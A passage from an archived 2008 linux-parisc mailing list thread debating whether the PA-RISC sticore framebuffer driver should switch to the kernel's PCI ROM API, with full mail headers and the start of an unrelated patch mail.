	AUjcLl7vnrZlgtXCRX1+IcfFSD4CJKh1cbe4iOVT2BrlrPTGDGWZW2/WAcS1Ful7/fa
	hGdaqbDYM7mi7jpUeRW5uFLol7TPKmesdD/1KBHklstOnraJzjAlE+Smu/oma9ZmIKI
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WiJqIhNJMAhh; Fri,  6 Jun 2008 18:27:46 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id DE919816A;
	Fri,  6 Jun 2008 18:27:45 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1212794865; bh=c8J+/yTMk6z1wN5iG8M6h/9AeC7CsOK6QHk9bQaCB/
	4=; l=1517; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=FjI+nYI0Hp7E7l4p3miOc0Xg42+HveMkGuWeJ
	KN+hypbGaYnyKbrDdewZLwh2czhUaXPIy5//VDPejby5Kmyikr+mxBDhxsC3sbvOQuA
	c++29wFGVf7LcG2Onauo0WYMZ9RUTGQLAav7hKSj5M/48WgcEFqd97geDmVWTebH2ZE
	=
In-Reply-To: <20080606223507.0daf2b80.krzysztof.h1@poczta.fm>
X-Mailer: Evolution 2.22.2 (2.22.2-2.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:380 gmane.linux.fbdev.devel:11930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/380>

On Fri, 2008-06-06 at 22:35 +0200, Krzysztof Helt wrote:
> On Thu, 05 Jun 2008 17:26:54 -0500
> James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
> 
> > 
> > I'm really not sure this is such a good idea.  pci_map_rom() can do an
> > ioremap() on the region.  In that case, gsc_readl which punches through
> > our virtual memory into physical I/O space will fail.  What assurance do
> > we have that all STI roms are correctly set up so pci_map_rom() isn't
> > inclined to ioremap them?
> > 
> 
> I haven't thought about this. The ROM the Helge tested was obviously
> set up correctly, otherwise reading the ROM signature would be impossible.

I suspect Helge only tested GSC based cards, which will work just fine
because they use the old logic.

> What is you advise for this patch James?

The more I look at this the more I doubt that it's a good thing.  STI is
really a platform driver; it has to function for both GSC and PCI
busses.  pci_map_rom() seems to be a bit of a minefield designed for x86
centric video cards, which STI definitely isn't.  The sticore driver is
also designed to operate on unmapped ranges ... at least this is the way
it's designed for the GSC, so the PCI part has to follow suit.

Our simple base get and enabling transparently the driver currently has
says what we're doing; I don't really see why it needs to switch to
pci_map_rom.  Additionally, I fear that switching to pci_map_rom will
cause us to break later on down the road.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Helt <krzysztof.h1@poczta.fm>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Sat, 7 Jun 2008 11:08:36 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20080607110836.b2c9f48a.krzysztof.h1@poczta.fm>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm>
	<1212704814.4241.37.camel@localhost.localdomain>
	<20080606223507.0daf2b80.krzysztof.h1@poczta.fm>
	<1212794861.16182.39.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212829582 1486 80.91.229.12 (7 Jun 2008 09:06:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Jun 2008 09:06:22 +0000 (UTC)
Cc: Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Jon Smirl <jonsmirl@yahoo.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 07 11:07:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K4uO6-0000l7-Jq
	for glpp-linux-parisc@gmane.org; Sat, 07 Jun 2008 11:07:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753187AbYFGJGN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Jun 2008 05:06:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754733AbYFGJGN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Jun 2008 05:06:13 -0400
Original-Received: from smtp239.poczta.interia.pl ([217.74.64.239]:30941 "EHLO
	smtp239.poczta.interia.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753187AbYFGJGM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Jun 2008 05:06:12 -0400
Original-Received: by smtp239.poczta.interia.pl (INTERIA.PL, from userid 502)
	id C8AFCD4ADE; Sat,  7 Jun 2008 11:06:10 +0200 (CEST)
Original-Received: from poczta.interia.pl (mi01.poczta.interia.pl [10.217.12.1])
	by smtp239.poczta.interia.pl (INTERIA.PL) with ESMTP id CE394F6F6F;
	Sat,  7 Jun 2008 11:06:09 +0200 (CEST)
Original-Received: by poczta.interia.pl (INTERIA.PL, from userid 502)
	id DCFE476989D; Sat,  7 Jun 2008 11:06:10 +0200 (CEST)
Original-Received: from krzysio.net (host-87-99-61-239.lanet.net.pl [87.99.61.239])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by www.poczta.fm (INTERIA.PL) with ESMTP id 4EEBB76989A;
	Sat,  7 Jun 2008 11:06:05 +0200 (CEST)
In-Reply-To: <1212794861.16182.39.camel@localhost.localdomain>
X-Mailer: Sylpheed 2.4.3 (GTK+ 2.11.0; i686-pc-linux-gnu)
X-EMID: 16e2b138
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:381 gmane.linux.fbdev.devel:11946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/381>

On Fri, 06 Jun 2008 18:27:41 -0500
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> On Fri, 2008-06-06 at 22:35 +0200, Krzysztof Helt wrote:

> > What is you advise for this patch James?
> 
> The more I look at this the more I doubt that it's a good thing.  STI is
> really a platform driver; it has to function for both GSC and PCI
> busses.  pci_map_rom() seems to be a bit of a minefield designed for x86
> centric video cards, which STI definitely isn't.  The sticore driver is
> also designed to operate on unmapped ranges ... at least this is the way
> it's designed for the GSC, so the PCI part has to follow suit.
> 
> Our simple base get and enabling transparently the driver currently has
> says what we're doing; I don't really see why it needs to switch to
> pci_map_rom.  Additionally, I fear that switching to pci_map_rom will
> cause us to break later on down the road.
> 

I am forwarding it to the reporter of the bug 9425 as this bug should be 
closed without changing the code.

A very similar case is for the bug 9424. I analyzed code for the Matrox
framebuffers and it is not worth changing. The idea behind the  pci_map_rom()
is that it enables and maps the ROM area. The Matrox framebuffer has
these two separated as the ROM may appear in the already mapped area.
The ROM is always enabled but not always mapped.

The only unification I see is to export pci_rom_enable/pci_rom_disable()
and use them inside the Matrox and sticore drivers (so no ioremap() 
is done but the code is shorter).

Regards,
Krzysztof

----------------------------------------------------------------------
Tanie rozmowy!
Sprawdz >>>  http://link.interia.pl/f1e22 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Sat, 07 Jun 2008 12:25:02 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <1212859502.16182.84.camel@localhost.localdomain>
References: <159459.29885.qm@web32505.mail.mud.yahoo.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212859522 23099 80.91.229.12 (7 Jun 2008 17:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Jun 2008 17:25:22 +0000 (UTC)
Cc: Krzysztof Helt <krzysztof.h1@poczta.fm>
To: Jon Smirl <jonsmirl@yahoo.com>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 07 19:26:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K52Az-0004du-Q4
	for glpp-linux-parisc@gmane.org; Sat, 07 Jun 2008 19:26:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754297AbYFGRZM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Jun 2008 13:25:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758295AbYFGRZM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Jun 2008 13:25:12 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:46819 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754297AbYFGRZK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Jun 2008 13:25:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 53ACC83B4;
	Sat,  7 Jun 2008 12:25:09 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1212859509; bh=pxeQtPKAF1ZgoH4ykLntO5F+TFWlnsSloC7NGhuPz0
	8=; l=3252; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=ZQm7ZB70MiOVEj6Tlc63hnIjzn3o9h7bVJuKl
	I8ombFxRNKE9Okmh7lTP/wwDS6bSZu4tDCVm5dKJCDx9lUTCasly6v7tzPaNVkXo92c
	TEst20o3/pSfboa1AbzkH50fJPZpkfFqcthJC3oUyddKYrmyR9N1GftSN8B0EXianC0
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id l9HpyrcccKrY; Sat,  7 Jun 2008 12:25:08 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id EC926836C;
	Sat,  7 Jun 2008 12:25:07 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1212859508; bh=pxeQtPKAF1ZgoH4ykLntO5F+TFWlnsSloC7NGhuPz0
	8=; l=3252; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=J+c3cg+/78+g59GgdZ1UUQYOJbr7B2oxNJsyn
	OQxU7JQUkUjkrHFdiXjytlE8xG433n6gTAJ95zomXPFhA/UynUgym/x6mqVf9gYZEMm
	0xz9ZOdklnvSSsQoDklBfSkYxsNstkPWTm5lEEsfj5apMBJcIZv/KVID6iFSGHpgoyA
	=
In-Reply-To: <159459.29885.qm@web32505.mail.mud.yahoo.com>
X-Mailer: Evolution 2.22.2 (2.22.2-2.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:382
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/382>

On Sat, 2008-06-07 at 05:12 -0700, Jon Smirl wrote:
> > > What is you advise for this patch James?
> > 
> > The more I look at this the more I doubt that it's a good thing.  STI is
> > really a platform driver; it has to function for both GSC and PCI
> > busses.  pci_map_rom() seems to be a bit of a minefield designed for x86
> > centric video cards, which STI definitely isn't.  The sticore driver is
> > also designed to operate on unmapped ranges ... at least this is the way
> > it's designed for the GSC, so the PCI part has to follow suit.
> 
> The PCI ROM API was made for three main reasons:
> 
> 1) Drivers, including X, were mapping the ROMs without declaring the
> resource. If you map a ROM without declaring the resource the kernel
> doesn't know it is there and may map something else into the same
> addresses. It's been a while but I believe the virtualization people
> were the ones complaining.

This one doesn't really apply to us.  The parisc gsc drivers are
designed to operate without remapping.  The PA architecture has load and
store absolute instructions, so we can access the physical locations of
the bus (this is PCI or GSC or runway or any of the other parisc busses)
without needing it to be mapped anywhere (it's actually helpful on 32
bits not to waste pieces of the virtual address space).  the
gsc_readX/gsc_writeX that the sti driver uses are really just wrappers
around load and store absolutes.  The problem is that if the location
does get mapped, you can't use the gsc_readX instructions on it (you
have to use ordinary readX)

The driver could be conceivably be updated to do an ioremap on the GSC
regions, but right at the moment that's not the way it works ... it's
also not clear to me that there'd be any benefit to changing it.

> 2) Error checking was not robust in the code that was directly
> mapping. This was causing drivers to hang when they used ROMs they
> thought were there and really weren't. This can definitely happen and
> it has happened on my own boxes while doing video driver work.
> Occasionally hardware doesn't initialize right and the ROMs won't
> enable.

The error checking in the STI driver seems fine ... it's checking for a
specific rom signature which won't be found if the rom isn't there.

> 3) It is the ground work for supporting multiple video cards in a box.
> When there are multiple cards the API keeps them from mapping on top
> of each other.

The bus inventory on PA does this one automatically because we're using
the bus physical addresses (you can't configure two devices to respond
on the same address).

> This code was not intended to be x86 specific. The PCI ROM format is
> cross platform and this code is used on the PowerPC. 

Well comments in the routine say things like:

	/*
	 * IORESOURCE_ROM_SHADOW set on x86, x86_64 and IA64 supports legacy
	 * memory map if the VGA enable bit of the Bridge Control register is
	 * set for embedded VGA.

Plus in order not to get ioremap'd we need IORESOURCE_ROM_COPY or
IORESOURCE_ROM_BIOS_COPY set in the flags, which I'm not sure we
have ... I need someone with a PCI version of one of these cards to
check (I only have the GSC version).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Sat, 7 Jun 2008 14:34:28 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20080607203428.GA23115@colo.lackof.org>
References: <20080605231327.af9cc9e6.krzysztof.h1@poczta.fm> <1212704814.4241.37.camel@localhost.localdomain> <20080606223507.0daf2b80.krzysztof.h1@poczta.fm> <1212794861.16182.39.camel@localhost.localdomain> <20080607110836.b2c9f48a.krzysztof.h1@poczta.fm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212870892 19605 80.91.229.12 (7 Jun 2008 20:34:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Jun 2008 20:34:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Jon Smirl <jonsmirl@yahoo.com>,
	Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Krzysztof Helt <krzysztof.h1@poczta.fm>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 07 22:35:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K558N-0006am-KD
	for glpp-linux-parisc@gmane.org; Sat, 07 Jun 2008 22:35:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752692AbYFGUel (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Jun 2008 16:34:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751716AbYFGUel
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Jun 2008 16:34:41 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:58165 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752305AbYFGUek (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Jun 2008 16:34:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2ACFD3381D9;
	Sat,  7 Jun 2008 14:34:39 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22085-06; Sat, 7 Jun 2008 14:34:28 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 73342338085; Sat,  7 Jun 2008 14:34:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080607110836.b2c9f48a.krzysztof.h1@poczta.fm>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:383 gmane.linux.fbdev.devel:11948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/383>

On Sat, Jun 07, 2008 at 11:08:36AM +0200, Krzysztof Helt wrote:
...
> I am forwarding it to the reporter of the bug 9425 as this bug should be 
> closed without changing the code.

Actually, we should change the code: add a comment that summarizes jejb's
feedback (and the rest of the conversation) so we don't repeat this
exercise again in 2 years.

thanks,
grant

> 
> A very similar case is for the bug 9424. I analyzed code for the Matrox
> framebuffers and it is not worth changing. The idea behind the  pci_map_rom()
> is that it enables and maps the ROM area. The Matrox framebuffer has
> these two separated as the ROM may appear in the already mapped area.
> The ROM is always enabled but not always mapped.
> 
> The only unification I see is to export pci_rom_enable/pci_rom_disable()
> and use them inside the Matrox and sticore drivers (so no ioremap() 
> is done but the code is shorter).
> 
> Regards,
> Krzysztof
> 
> ----------------------------------------------------------------------
> Tanie rozmowy!
> Sprawdz >>>  http://link.interia.pl/f1e22 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jon Smirl <jonsmirl@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API
Date: Sat, 7 Jun 2008 13:51:26 -0700 (PDT)
Lines: 73
Approved: news@gmane.org
Message-ID: <256247.26543.qm@web32503.mail.mud.yahoo.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212872301 22748 80.91.229.12 (7 Jun 2008 20:58:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Jun 2008 20:58:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>,
	Krzysztof Helt <krzysztof.h1@poczta.fm>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 07 22:58:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K55V3-0003tO-RO
	for glpp-linux-parisc@gmane.org; Sat, 07 Jun 2008 22:58:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751013AbYFGU6I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Jun 2008 16:58:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751709AbYFGU6I
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Jun 2008 16:58:08 -0400
Original-Received: from web32503.mail.mud.yahoo.com ([68.142.207.213]:27259 "HELO
	web32503.mail.mud.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751013AbYFGU6H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Jun 2008 16:58:07 -0400
X-Greylist: delayed 396 seconds by postgrey-1.27 at vger.kernel.org; Sat, 07 Jun 2008 16:58:07 EDT
Original-Received: (qmail 26993 invoked by uid 60001); 7 Jun 2008 20:51:26 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=yahoo.com;
  h=Received:X-Mailer:Date:From:Subject:To:Cc:MIME-Version:Content-Type:Message-ID;
  b=6ZmB+EbpQl7x9juLU/GyV/dERaanIvvPkqGyN47xppu3y+S1NTHlnh24zOkUQWVgbkIYZfMkGnewlWVnZRZnqxtY8fBVOmW2ehy3Zz8g2i2IpNjRyuKhe/dPKUrtBUfe79Yu0Nhywb33Keuyms3HFcakbZmTMquj2+zwwrEmgkY=;
Original-Received: from [76.109.159.38] by web32503.mail.mud.yahoo.com via HTTP; Sat, 07 Jun 2008 13:51:26 PDT
X-Mailer: YahooMailRC/975.45 YahooMailWebService/0.7.199
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:384 gmane.linux.fbdev.devel:11949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/384>

----- Original Message ----
From: Grant Grundler <grundler@parisc-linux.org>
To: Krzysztof Helt <krzysztof.h1@poczta.fm>
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>; Jon Smirl <jonsmirl@yahoo.com>; Linux-fbdev-devel <linux-fbdev-devel@lists.sourceforge.net>; Andrew Morton <akpm@linux-foundation.org>; Helge Deller <deller@gmx.de>; linux-parisc@vger.kernel.org
Sent: Saturday, June 7, 2008 4:34:28 PM
Subject: Re: [RESEND] [PATCH] convert sticore.c to PCI ROM API

On Sat, Jun 07, 2008 at 11:08:36AM +0200, Krzysztof Helt wrote:
...
> I am forwarding it to the reporter of the bug 9425 as this bug should be 
> closed without changing the code.

Actually, we should change the code: add a comment that summarizes jejb's
feedback (and the rest of the conversation) so we don't repeat this
exercise again in 2 years.
----------------------------------------------------

The PCI ROM API was made for three main reasons:

1) Drivers,
including X, were mapping the ROMs without declaring the resource. If
you map a ROM without declaring the resource the kernel doesn't know it
is there and may map something else into the same addresses. It's been
a while but I believe the virtualization people were the ones
complaining. 

2) Error checking was not robust in the code that
was directly mapping. This was causing drivers to hang when they used
ROMs they thought the ROM was there and really wasn't. This can definitely
happen and it has happened on my own boxes while doing video driver
work. Occasionally hardware doesn't initialize right and the ROMs won't
enable.

3) It is the ground work for supporting multiple video
cards in a box. When there are multiple cards the API keeps them from
mapping on top of each other. If the location of the ROM is not flexible one has to be turned off before the other one can be turned on.

This code was not intended to be x86 specific. The PCI ROM format is cross platform and this code is used on the PowerPC. 

> 
> A very similar case is for the bug 9424. I analyzed code for the Matrox
> framebuffers and it is not worth changing. The idea behind the  pci_map_rom()
> is that it enables and maps the ROM area. The Matrox framebuffer has
> these two separated as the ROM may appear in the already mapped area.
> The ROM is always enabled but not always mapped.

This is one of the ways to get into trouble. If the ROM is enabled the kernel needs to have a resource marking it to make sure that nothing else gets enabled in the same place. When these ROM were accessed directly by the drivers, the driver code was often missing a few of the error checks needed or the resource allocation, etc. The centralize code made sure that every necessary was done to access the ROMs.

> 
> The only unification I see is to export pci_rom_enable/pci_rom_disable()
> and use them inside the Matrox and sticore drivers (so no ioremap() 
> is done but the code is shorter).
> 
> Regards,
> Krzysztof
> 
> ----------------------------------------------------------------------
> Tanie rozmowy!
> Sprawdz >>>  http://link.interia.pl/f1e22 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



      
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [Patch] cleanup pleonasm in unaligned.c
Date: Sat, 07 Jun 2008 21:52:01 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <484B0301.2050505@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1212875549 30533 80.91.229.12 (7 Jun 2008 21:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Jun 2008 21:52:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 07 23:53:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K56LW-0008Sv-FN
	for glpp-linux-parisc@gmane.org; Sat, 07 Jun 2008 23:53:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763845AbYFGVwO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Jun 2008 17:52:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764056AbYFGVwO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Jun 2008 17:52:14 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:41574 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1763221AbYFGVwM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Jun 2008 17:52:12 -0400
Original-Received: from [213.49.81.180] (ip-213-49-81-180.dsl.scarlet.be [213.49.81.180])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m57Lq1fv021690;
	Sat, 7 Jun 2008 23:52:02 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC-scarlet.be-Metrics: eir 20001; Body=4 Fuz1=4 Fuz2=4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/385>

Hello Carlos, Kyle,

Trying to refresh my memory about gcc "memory" clobber, I just figure out that I missed what looks to me a useless 
redundancy in some FIXUP_BRANCH_CLOBBER usage in the mentioned file:

you did well:
